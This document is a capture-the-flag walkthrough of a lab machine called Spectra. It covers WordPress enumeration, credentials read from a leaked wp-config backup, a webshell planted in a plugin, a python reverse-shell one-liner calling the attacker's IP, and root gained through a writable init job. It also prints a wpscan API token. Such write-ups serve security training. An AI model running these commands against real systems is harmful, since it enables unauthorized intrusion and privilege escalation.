Spectra

Gaining Access

Nmap scan:

$ nmap -p- --min-rate 3000 10.129.244.152
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-30 23:05 +08
Nmap scan report for 10.129.244.152
Host is up (0.0055s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3306/tcp open  mysql

HTTP and MySQL are open. I did a detailed scan as well:

$ nmap -p 80,3306 -sC -sV --min-rate 3000 10.129.244.152
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-30 23:07 +08
Nmap scan report for 10.129.244.152
Host is up (0.010s latency).

PORT     STATE SERVICE VERSION
80/tcp   open  http    nginx 1.17.4
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.17.4
3306/tcp open  mysql   MySQL (unauthorized)

We can start Burpsuite and begin enumerating the web service.

Web Enum -> WP Creds

The website just showed two links, and mentions Jira, which is a ticket tracker software.

When the page HTML is viewed, we can see where the link takes us.

After adding spectra.htb to the /etc/hosts file, we can take a look at what software the websites are running. The first website brought me to a Wordpress site:

We can use wpscan to enumerate the website for us. This was an older machine, so Wordpress Core will definitely be outdated. There were quite a few plugins found to be outdated, but I didn't manage to exploit them. wpscan did find one user though:

$ wpscan --api-token OaDWLYrOpxOTaXsUq9DUaM8WuIDhSSJ1Ifkyujyn2l0 --enumerate p,u,t --plugins-detection aggressive --url spectra.htb/main/

[i] User(s) Identified:

[+] administrator
 | Found By: Author Posts - Display Name (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

Anyways, moving to the testing/index.php site, it just shows us an error:

Loading the /testing directory shows us a listing:

What's interesting was the .save file, which could actually be read with curl to find credentials:

$ curl http://spectra.htb/testing/wp-config.php.save
<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the
 * installation. You don't have to use the web site, you can
 * copy this file to "wp-config.php" and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * MySQL settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/support/article/editing-wp-config-php/
 *
 * @package WordPress
 */

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'dev' );

/** MySQL database username */
define( 'DB_USER', 'devtest' );

/** MySQL database password */
define( 'DB_PASSWORD', 'devteam01' );

Using this password, we can login as administrator to the Wordpress site. Using this, I tried to get a reverse shell by manipulating the 404.php within the theme being used.

However, this error popped up:

We'll have to find a different method to get a shell.

Akismet Plugin -> RCE

There are 2 plugins installed on the site:

Instead of finding a public exploit, we can actually edit the plugin directly on Wordpress. Using the Plugin Editor, I replaced the PHP code with a webshell. In this case, I replaced the code for akismet.php, and it can be triggered using curl:

Then, we can easily get a reverse shell:

$ curl -G --data-urlencode "cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"bash\")'" http://spectra.htb/main/wp-content/plugins/akismet/akismet.php

Privilege Escalation

Autologin -> Katie Shell

This machine was a ChromeOS machine, as specified from the home directory:

nginx@spectra /home $ ls -la
total 32
drwxr-xr-x  8 root    root    4096 Feb  2  2021 .
drwxr-xr-x 22 root    root    4096 Feb  2  2021 ..
drwx------  4 root    root    4096 Jul 20  2020 .shadow
drwxr-xr-x 20 chronos chronos 4096 Sep 30 01:34 chronos
drwxr-xr-x  5 katie   katie   4096 Feb  2  2021 katie
drwxr-xr-x  5 nginx   nginx   4096 Feb  4  2021 nginx
drwxr-x--t  4 root    root    4096 Jul 20  2020 root
drwxr-xr-x  4 root    root    4096 Jul 20  2020 user

I didn't know a lot about how ChromeOS functioned, but tools like pspy64 didn't work. Within the /opt directory, there were some interesting files:

nginx@spectra /opt $ ls -la
total 44
drwxr-xr-x 10 root root 4096 Feb  3  2021 .
drwxr-xr-x 22 root root 4096 Feb  2  2021 ..
drwxr-xr-x  2 root root 4096 Jun 28  2020 VirtualBox
-rw-r--r--  1 root root  978 Feb  3  2021 autologin.conf.orig
drwxr-xr-x  2 root root 4096 Jan 15  2021 broadcom
drwxr-xr-x  2 root root 4096 Jan 15  2021 displaylink
drwxr-xr-x  2 root root 4096 Jan 15  2021 eeti
drwxr-xr-x  5 root root 4096 Jan 15  2021 google
drwxr-xr-x  6 root root 4096 Feb  2  2021 neverware
drwxr-xr-x  5 root root 4096 Jan 15  2021 tpm1
drwxr-xr-x  5 root root 4096 Jan 15  2021 tpm2

The autologin.conf file contained some interesting stuff:

# Copyright 2016 The Chromium OS Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
description   "Automatic login at boot"
author        "[e-mail]"
# After boot-complete starts, the login prompt is visible and is accepting
# input.
start on started boot-complete
script
  passwd=
  # Read password from file. The file may optionally end with a newline.
  for dir in /mnt/stateful_partition/etc/autologin /etc/autologin; do
    if [ -e "${dir}/passwd" ]; then
      passwd="$(cat "${dir}/passwd")"
      break
    fi
  done
  if [ -z "${passwd}" ]; then
    exit 0
  fi
  # Inject keys into the login prompt.
  #
  # For this to work, you must have already created an account on the device.
  # Otherwise, no login prompt appears at boot and the injected keys do the
  # wrong thing.
  /usr/local/sbin/inject-keys.py -s "${passwd}" -k enter

From what I gathered, there's a password in the /etc/autologin directory:

nginx@spectra /etc/autologin $ ls
passwd
nginx@spectra /etc/autologin $ cat passwd 
SummerHereWeCome!!

Using this, we can ssh in as katie.

Sudo Privileges -> Root

This user could run initctl as the root user:

katie@spectra ~ $ sudo -l
User katie may run the following commands on spectra:
    (ALL) SETENV: NOPASSWD: /sbin/initctl

This binary allows us to initialise daemons:

katie@spectra ~ $ /sbin/initctl help
Job commands:
  start                       Start job.
  stop                        Stop job.
  restart                     Restart job.
  reload                      Send HUP signal to job.
  status                      Query status of job.
  list                        List known jobs.

Event commands:
  emit                        Emit an event.

Other commands:
  reload-configuration        Reload the configuration of the init daemon.
  version                     Request the version of the init daemon.
  log-priority                Change the minimum priority of log messages from the init
                                daemon
  show-config                 Show emits, start on and stop on details for job
                                configurations.
  help                        display list of commands

For more information on a command, try `initctl COMMAND --help'

Also, I checked which files were owned by katie and the developers group:

katie@spectra / $ find / -group developers 2>/dev/null
/etc/init/test6.conf
/etc/init/test7.conf
/etc/init/test3.conf
/etc/init/test4.conf
/etc/init/test.conf
/etc/init/test8.conf
/etc/init/test9.conf
/etc/init/test10.conf
/etc/init/test2.conf
/etc/init/test5.conf
/etc/init/test1.conf
/srv
/srv/nodetest.js

It appears that we own quite a few test.conf files, meaning that we can edit it. The configuration files contained some bash lines:

$ cat /etc/init/test.conf 
description "Test node.js server"
author      "katie"

start on filesystem or runlevel [2345]
stop on shutdown

script

    export HOME="/srv"
    echo $$ > /var/run/nodetest.pid
    exec /usr/local/share/nodebrew/node/v8.9.4/bin/node /srv/nodetest.js

end script

pre-start script
    echo "[`date`] Node Test Starting" >> /var/log/nodetest.log
end script

pre-stop script
    rm /var/run/nodetest.pid
    echo "[`date`] Node Test Stopping" >> /var/log/nodetest.log
end script

I added chmod u+s /bin/bash to test2.conf, and then started the process. Then, we can easily get a root shell: